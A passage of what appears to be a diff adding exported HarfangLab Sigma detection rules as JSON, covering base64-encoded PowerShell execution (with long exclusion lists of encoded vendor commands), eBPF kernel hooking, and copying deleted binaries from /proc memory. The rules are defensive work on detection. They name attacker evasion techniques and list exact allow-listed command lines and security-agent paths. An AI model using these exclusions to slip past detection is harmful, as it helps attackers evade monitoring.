JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA=='\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAaQBmACAAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBsAHQAIABbAFYAZQByAHMAaQBvAG4AXQAiADMALgAwACIAKQAgAHsACgAnAHsAIgBmAGEAaQBsAGUAZAAiADoAdAByAHUAZQAsACIAbQBzAGcAIgA6ACIAQQBuAHMAaQBiAGwAZQAgAHIAZQBxAHUAaQByAGUAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADMALgAwACAAbwByACAAbgBlAHcAZQByACIAfQAnAAoAZQB4AGkAdAAgADEACgB9AAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA=='\n\n    exclusion_ansible3:\n        CommandLine|contains:\n            - ' -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAaQBmACAAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACAALQBsAHQAIABbAFYAZQByAHMAaQBvAG4AXQAiADMALgAwACIAKQAgAHsACgAnAHsAIgBmAGEAaQBsAGUAZAAiADoAdAByAHUAZQAsACIAbQBzAGcAIgA6ACIAQQBuAHMAaQBiAGwAZQAgAHIAZQBxAHUAaQByAGUAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADMALgAwACAAbwByACAAbgBlAHcAZQByACIAfQAnAAoAZ'\n            - ' -EncodedCommand CgAgACAAIAAgACYAYwBoAGMAcAAuAGMAbwBtACAANgA1ADAAMAAxACAAPgAgACQAbgB1AGwAbAAKACAAIAAgACAAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQAKACAAIAAgACAAJABzAHAAbABpAHQAXwBwAGEAcgB0AHMAIAA9ACAAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdABy'\n\n    exclusion_azureconnected:\n        ParentImage:\n            - '?:\\Program Files\\AzureConnectedMachineAgent\\GCArcService\\GC\\gc_worker.exe'\n            - '?:\\Program Files\\AzureConnectedMachineAgent\\GCArcService2\\GC\\gc_worker.exe'\n            - '?:\\Program Files\\AzureConnectedMachineAgent\\ExtensionService\\GC\\gc_extension_service.exe'\n            - '?:\\Program Files\\AzureConnectedMachineAgent\\ExtensionService2\\GC\\gc_extension_service.exe'\n\n    exclusion_nodejs:\n        # C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell -NoProfile -NonInteractive –ExecutionPolicy Bypass -EncodedCommand UwB0AGEAcgB0ACAAIgBoAHQAdABwADoALwAvAGwAbwBjAGEAbABoAG8AcwB0ADoAMwAwADAAMAAiAA==\n        #  ==> Start \"http://localhost:3000\"\n        # powershell -NoProfile -NonInteractive –ExecutionPolicy Bypass -EncodedCommand UwB0AGEAcgB0ACAAIgBgACIAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADQAMgAwADAALwBgACIAIgA=\n        # ==> Start \"`\"http://localhost:4200/`\"\"\n        ParentImage|endswith: '\\node.exe'\n        CommandLine|contains:\n            - 'UwB0AGEAcgB0ACAAIgBoAHQAdABwADoALwAvAGwAbwBjAGEAbABoAG8Ac'\n            - 'UwB0AGEAcgB0ACAAIgBgACIAaAB0AHQAcAA6AC8AL'\n\n    exclusion_recoveryconsole:\n        ParentImage: '?:\\Program Files\\RecoveryConsole\\RecoveryConsole.exe'\n        CommandLine: 'powershell.exe -EncodedCommand aQBmACAAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuAC4ATQBhAGoAbwByACAALQBsAHQAIAAzACkAIAB7ACAAZQB4AGkAdAAgADIANwAgAH0AJABtAG8AZAB1AGwAZQA9AEcAZQB0AC0ATQBvAGQAdQBsAGUAIAAtAEwAaQBzAHQAQQB2AGEAaQBsAGEAYgBsAGUAIABBAFcAUwBQAG8AdwBlAHIAUwBoAGUAbABsADsAIABpAGYAKAAkAG0AbwBkAHUAbABlACkAIAB7ACAAIAAgAGkAZgAoACQAbQBvAGQAdQBsAGUALgBWAGUAcgBzAGkAbwBuAC4ATQBhAGoAbwByACAALQBsAHQAIAAzACkAIAB7ACAAZQB4AGkAdAAgADIANgAgAH0AOwAgACAAIABlAHgAaQB0ACAAMAAgAH0AIABlAGwAcwBlACAAewAgAGUAeABpAHQAIAAxADEAIAB9ADsA'\n\n    exclusion_centreon:\n        # https://github.com/centreon/centreon-plugins/blob/master/centreon/common/powershell/windows/pendingreboot.pm\n        ParentCommandLine|contains|all:\n            - '/centreon_plugins.exe '\n            - ' --plugin'\n        GrandparentImage|endswith: '\\centreon_plugins.exe'\n\n    exclusion_applocker:\n        CommandLine|startswith:\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand cABhAHIAYQBtACAAKAAKACAAIAAgACAAWwBzAHcAaQB0AGMAaABdACAAJABDAGgA ZQBjAGsAQwBvAG0AcABsAGkAYQBuAGMAZQBPAG4AbAB5ACAAPQAgACQAZgBhAGwA cwBlAAoACQApAAoACgBbAFMAeQBzAHQAZQBtAC4ASQBuAHQAMwAyAF0AJABwAG8A '\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand JgAgAHsAcABhAHIAYQBtACAAKAAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUA cgAoAE0AYQBuAGQAYQB0AG8AcgB5ACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkA XQBbAHMAdAByAGkAbgBnAF0AIAAkAEkAbgBwAHUAdABYAG0AbAAsAAoAIAAgACAA '\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand JgAgAHsAcABhAHIAYQBtACAAKAAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUA cgAoAE0AYQBuAGQAYQB0AG8AcgB5ACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkA XQBbAHMAdAByAGkAbgBnAF0AIAAkAEQAZQB2AEcAdQBhAHIAZABQAGEAdABoACwA '\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand JgAgAHsAcABhAHIAYQBtACAAKAAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUA cgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQA aQBvAG4APQAwACkAXQBbAHMAdAByAGkAbgBnAF0AIAAkAEMAYwBtAEUAeABlAGMA '\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand JgAgAHsAcABhAHIAYQBtACAAKAAKACAAIAAgACAAWwBzAHcAaQB0AGMAaABdACAA JABDAGgAZQBjAGsAQwBvAG0AcABsAGkAYQBuAGMAZQBPAG4AbAB5ACAAPQAgACQA ZgBhAGwAcwBlAAoACQApAAoACgBbAFMAeQBzAHQAZQBtAC4ASQBuAHQAMwAyAF0A '\n        ParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n\n    exclusion_prtg:\n        CommandLine|startswith: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -encodedCommand DQAKACAAIAAgACAAJABpAHMARABlAGIAdQBnAE0AbwBkAGUAIAA9ACAAJABmAGEAbABzAGUAOwANAAoAIAAgACAAIAAkAHQAbQBwAFIAZQBzAHUAbAB0AEYAaQBsAGUAIAA9ACAAJwBjADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABQAFIAVABHAFcAaQBuAFUAcABkAGEAdABlAFIAZQBzAHUAbAB0AC4AdAB4AHQAJwANAAoAIAAgACAAIAAkAHQAYQBzAGsATABvAGcAUABhAHQAaAAgAD0AIAAnAGMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFAAUgBUAEcAVwBpAG4AVQBwAGQAYQB0AGUAXwBEAEUAQgBVAEcAXwBTAGMAaABlAGQAdQBsAGUAZABTAGMAcgBpAHAAdAAuAHQAeAB0ACcADQAKAA0ACgAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAGwAbwBnAEQAZQBiAHUAZwAgAHsADQAKACAAIAAgACAAIAAgACAAIABQAGEAcgBhAG0AKAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACAAPQAgACQAdAByAHUAZQApAF0ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAUwB0AHIAaQBuAGcAXQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABNAGUAcwBzAGEAZwBlAA0ACgAgACAAIAAgACAAIAAgACAAKQANAAoA'\n\n    exclusion_ivanti:\n        ParentImage:\n            - '?:\\Program Files\\LANDesk\\LDClient\\sdistps1.exe'\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\sdistps1.exe'\n        GrandparentImage:\n            - '?:\\Program Files\\LANDesk\\LDClient\\SDCLIENT.EXE'\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\SDCLIENT.EXE'\n\n    exclusion_microsoft_cloud_agent:\n        ParentImage: '?:\\Program Files\\Microsoft Cloud Managed Desktop Extension\\CMDExtension\\Microsoft.Management.Services.CloudManagedDesktop.Agent.exe'\n        GrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_polylens:\n        CommandLine|startswith: '?:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell -NoProfile -NonInteractive –ExecutionPolicy Bypass -EncodedCommand UwB0AGEAcgB0ACAAIgBgACIAQwA6AFwAVQBzAGUAcgBzAFwA'\n        ParentImage|endswith: '\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n        GrandparentImage|endswith: '\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n\n    exclusion_waptpython:\n        GrandparentImage|endswith:\n            - '\\waptpython.exe'\n            - '\\waptpythonw.exe'\n        GrandparentCommandLine|contains:\n            - 'waptservice\\service.py'\n            - '\\wapt\\wapt-get.py session-setup'\n        CommandLine|startswith: 'powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -OutputFormat text -EncodedCommand '\n\n    exclusion_waptget:\n        GrandparentImage:\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\wapt\\wapt-get.exe'\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -OutputFormat text -EncodedCommand '\n\n    exclusion_nutanix:\n        - ParentImage: '?:\\Program Files\\Nutanix\\Python3?\\python.exe'\n          GrandparentImage: '?:\\Program Files\\Nutanix\\Python3?\\Lib\\site-packages\\win32\\pythonservice.exe'\n        - ParentImage: '?:\\Program Files\\Nutanix\\Python3?\\Lib\\site-packages\\win32\\pythonservice.exe'\n          CommandLine:\n            - 'powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAdwBtAGkAIAAtAEMAbABhAHMAcwAgAE0AUwBpAFMAQwBTAEkASQBuAGkAdABpAGEAdABvAHIAXwBTAGUAbgBkAFQAYQByAGcAZQB0AFAAbwByAHQAYQBsAEMAbABhAHMAcwAgAHwAIABGAG8AcgBlAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACQAXwAuAFAAbwByAHQAYQBsAEEAZABkAHIAZQBzAHMAIAB9AA=='\n            - 'powershell.exe -NoProfile -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAdwBtAGkAIAAtAEMAbABhAHMAcwAgAE0AUwBpAFMAQwBTAEkASQBuAGkAdABpAGEAdABvAHIAXwBNAGUAdABoAG8AZABDAGwAYQBzAHMAKQAuAGkAUwBDAFMASQBOAG8AZABlAE4AYQBtAGUA'\n        - ProcessParentImage|endswith: '\\nutanix\\move\\\\*\\move-service.exe'\n\n    exclusion_rgsupervision:\n        GrandparentImage: '?:\\Program Files (x86)\\RG-Supervision\\RG_Supervision.exe'\n\n    exclusion_dbeaver:\n        GrandparentImage:\n            - '?:\\Program Files\\DBeaver\\dbeaver.exe'\n            - '?:\\Program Files (x86)\\DBeaver\\dbeaver.exe'\n\n    exclusion_programfiles:\n        - ProcessParentImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n        - ProcessGrandparentImage|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n\n    # ServiceNav and Ansible\n    exclusion_winrshost:\n        ProcessParentCommandLine|startswith:\n            - '?:\\Windows\\system32\\cmd.exe /C powershell -encodedcommand '\n            - '?:\\Windows\\system32\\cmd.exe /C powershell.exe -EncodedCommand '\n            - '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand '\n        ProcessAncestors: '?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\winrshost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_quest:\n        CommandLine|contains: ' -encodedCommand ZABvAHsADQAKAA0ACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEADQAKACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQQB0AHQAZQBuAHQAZQAiAA0ACgANAAoAfQB1AG4AdABpAGwAKAAoAEcAZQB0AC0AUwBlAHIAdgBpAGMAZQAgAC0AbgBhAG0AZQAgAGsAbwBuAGUAYQApAC4AUwB0AGEAdAB1AHMAIAAtAGUAcQAgACIAUgB1AG4AbgBpAG4AZwAiACkADQAKAA0ACgBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBSAHUAbgBuAGkAbgBnACIADQAKACQAYwBoAGUAbQBpAG4ASwBzAHQAYQB0AHUAcwAgAD0AIAAiACIADQAKAA0ACgBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAFEAdQBlAHMAdABcAEsAQQBDAEUAXABrAHMAdABhAHQAdQBzAC4AZQB4AGUAIgApAHsADQAKACAAIAAgACAA'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "506a49d4-0c48-4c47-a6bb-9c4dbfec663c",
+  "rule_name": "PowerShell Base64 Encoded Command Execution",
+  "rule_description": "Detects the execution of PowerShell launching a base64-encoded command.\nAttackers may encode their PowerShell command to bypass security tools that perform pattern matching on suspicious scripts.\nIt is recommended to check the encoded command for malicious content (for instance by selecting the base64 payload, right clicking and selecting 'Decode base64') and to analyze the execution context of the PowerShell binary.\n",
+  "rule_creation_date": "2021-04-13",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027",
+    "attack.t1059.001",
+    "attack.t1132.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5079799a-2949-428b-a9e2-e8eef82f7be0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296611Z",
+  "creation_date": "2026-03-23T11:45:35.296613Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296618Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf",
+    "https://redcanary.com/blog/threat-detection/ebpf-malware/",
+    "https://github.com/pathtofile/bad-bpf",
+    "https://attack.mitre.org/techniques/T1014/"
+  ],
+  "name": "t1014_ebpf_hooking.yml",
+  "content": "title: eBPF Hooking\nid: 5079799a-2949-428b-a9e2-e8eef82f7be0\ndescription: |\n    Detects a function hooked via eBPF using either a KProbe or a Tracepoint.\n    Malware can abuse kprobes by attaching eBPF programs to sensitive kernel functions so it can observe or alter their behavior whenever those functions are invoked.\n    By using kretprobes, it can intercept the return values of system calls and subtly modify them, for example to hide files, processes, or network connections.\n    Tracepoints give the malware a stable, predefined set of hook locations—such as syscall entry and exit—allowing it to monitor system activity without relying on fragile function offsets.\n    These mechanisms allow malicious code to watch and manipulate system behavior from inside the kernel in a stealthy way.\n    It is recommended to check the process which loaded the Extended BPF program and the fonction hooked for suspicious activities.\nreferences:\n    - https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\n    - https://redcanary.com/blog/threat-detection/ebpf-malware/\n    - https://github.com/pathtofile/bad-bpf\n    - https://attack.mitre.org/techniques/T1014/\ndate: 2025/08/11\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1014\n    - classification.Linux.Source.Bpf\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    product: linux\n    category: bpf_event\ndetection:\n    selection:\n        Kind: 'ebpf_attach'\n        Image: '*'\n\n    filter_edr_av:\n        - Image:\n            - '/opt/microsoft/mdatp/sbin/wdavdaemon'\n            - '/opt/hurukai-agent/bin/hurukai'\n            - '/opt/f-secure/baseguard/services/sensor*'\n            - '/o*/ds_agent/netagent/tm_netagent' # TrendMicro\n            - '/opt/ds_agent/nuagent/ds_nuagent'\n            - '/opt/TrendMicro/vls_agent/vls_am'\n            - '/opt/ds_agent/ds_am'\n            - '/opt/CrowdStrike/falcon-sensor-*'\n            - '/var/ossec/bin/wazuh-syscheckd'\n            - '/opt/sentinelone/bin/sentinelone-agent'\n            - '/opt/sentinelone/ebpfs/test_ebpf'\n            - '/opt/sentinelone/ebpfs/core/*'\n            - '/usr/local/qualys/cloud-agent/mux/bpf/bin/qualys-bpf*'\n            - '/usr/bin/falco'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - 'memfd:/sophos-subprocess-*-exec?'\n            - '/opt/sysmon/sysmon'\n        - ProcessParentImage:\n            - '/opt/sophos-spl/plugins/runtimedetections/bin/runtimedetections.0'\n            - '/opt/fireeye/bin/rte-sensor'\n        - ProcessCommandLine:\n            - '/opt/hurukai-agent/bin/hurukai --diagnostic'\n            - '/usr/bin/python3 /opt/paloaltonetworks/pab/linux_protector.py PrismaAccessBrowser'\n        - Image: '/opt/hurukai/hurukai'\n          ProcessParentImage: '/usr/lib/systemd/systemd'\n\n    filter_firewall:\n        Image:\n            - '/usr/bin/opensnitchd'\n            - '/opt/forticlient/webfilter'\n\n    filter_monitoring:\n        Image:\n            - '/OPT/dynatrace*agent/agent/lib64/oneagentebpfdiscovery'\n            - '*/dynatrace/agent/lib64/oneagentebpfdiscovery'\n            - '/OPT/dynatrace*agent/agent/lib64/oneagentnettracer'\n            - '*/usr/libexec/netdata/plugins.d/ebpf.plugin'\n            - '/opt/datadog-agent/embedded/bin/system-probe'\n            - '/opt/instana/agent/system/com/instana/ebpf*' # IBM\n            - '/opt/stackstate-agent/bin/agent/process-agent'\n\n    filter_bpfcc:\n        ProcessCommandLine|startswith: '/usr/bin/python3 /usr/sbin/*-bpfcc'\n\n    filter_bpftrace:\n        Image: '/usr/bin/bpftrace'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5079799a-2949-428b-a9e2-e8eef82f7be0",
+  "rule_name": "eBPF Hooking",
+  "rule_description": "Detects a function hooked via eBPF using either a KProbe or a Tracepoint.\nMalware can abuse kprobes by attaching eBPF programs to sensitive kernel functions so it can observe or alter their behavior whenever those functions are invoked.\nBy using kretprobes, it can intercept the return values of system calls and subtly modify them, for example to hide files, processes, or network connections.\nTracepoints give the malware a stable, predefined set of hook locations—such as syscall entry and exit—allowing it to monitor system activity without relying on fragile function offsets.\nThese mechanisms allow malicious code to watch and manipulate system behavior from inside the kernel in a stealthy way.\nIt is recommended to check the process which loaded the Extended BPF program and the fonction hooked for suspicious activities.\n",
+  "rule_creation_date": "2025-08-11",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5090a218-eedf-49da-a5b1-15aa0497e12a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611648Z",
+  "creation_date": "2026-03-23T11:45:34.611651Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611659Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/",
+    "https://attack.mitre.org/techniques/T1070/010/"
+  ],
+  "name": "t1070_010_binary_copied_from_memory.yml",
+  "content": "title: Binary Copied from Memory\nid: 5090a218-eedf-49da-a5b1-15aa0497e12a\ndescription: |\n    Detects the copy of a running process binary from memory to a file.\n    Attackers can copy a binary from memory after having deleted it to evade detection.\n    It is recommended to investigate the binary that is copied to determine its legitimacy.\nreferences:\n    - https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/\n    - https://attack.mitre.org/techniques/T1070/010/\ndate: 2024/10/09\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.MemoryExecution\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|re: '^.*(cp|cat) /proc/[0-9]+/exe .*'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5090a218-eedf-49da-a5b1-15aa0497e12a",
+  "rule_name": "Binary Copied from Memory",
+  "rule_description": "Detects the copy of a running process binary from memory to a file.\nAttackers can copy a binary from memory after having deleted it to evade detection.\nIt is recommended to investigate the binary that is copied to determine its legitimacy.\n",
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "50b47afd-ac3e-416b-8952-d95fdb3a39c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
